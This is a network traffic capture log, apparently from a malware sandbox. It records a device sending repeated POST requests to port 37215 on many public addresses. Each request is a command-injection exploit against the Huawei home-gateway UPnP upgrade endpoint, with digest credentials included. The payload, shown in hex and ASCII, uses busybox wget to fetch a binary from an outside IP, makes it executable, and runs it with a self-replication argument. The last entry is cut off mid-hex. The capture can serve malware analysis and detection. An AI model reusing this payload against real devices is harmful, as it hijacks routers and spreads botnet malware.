Mar 6, 2025 21:38:03.893688917 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.13	53626	181.32.58.59	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.894772053 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.13	58128	197.152.242.146	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.895955086 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.13	43220	156.160.61.156	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.896764994 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.13	47672	197.218.93.64	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.897818089 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.13	57086	41.66.105.153	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.899053097 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.13	58576	134.86.202.219	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.899945974 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.13	42554	41.228.176.24	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.900758982 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.13	48918	223.8.126.49	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.902179956 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.13	42606	181.98.143.241	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.902997017 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.13	47048	223.8.27.133	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.903889894 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 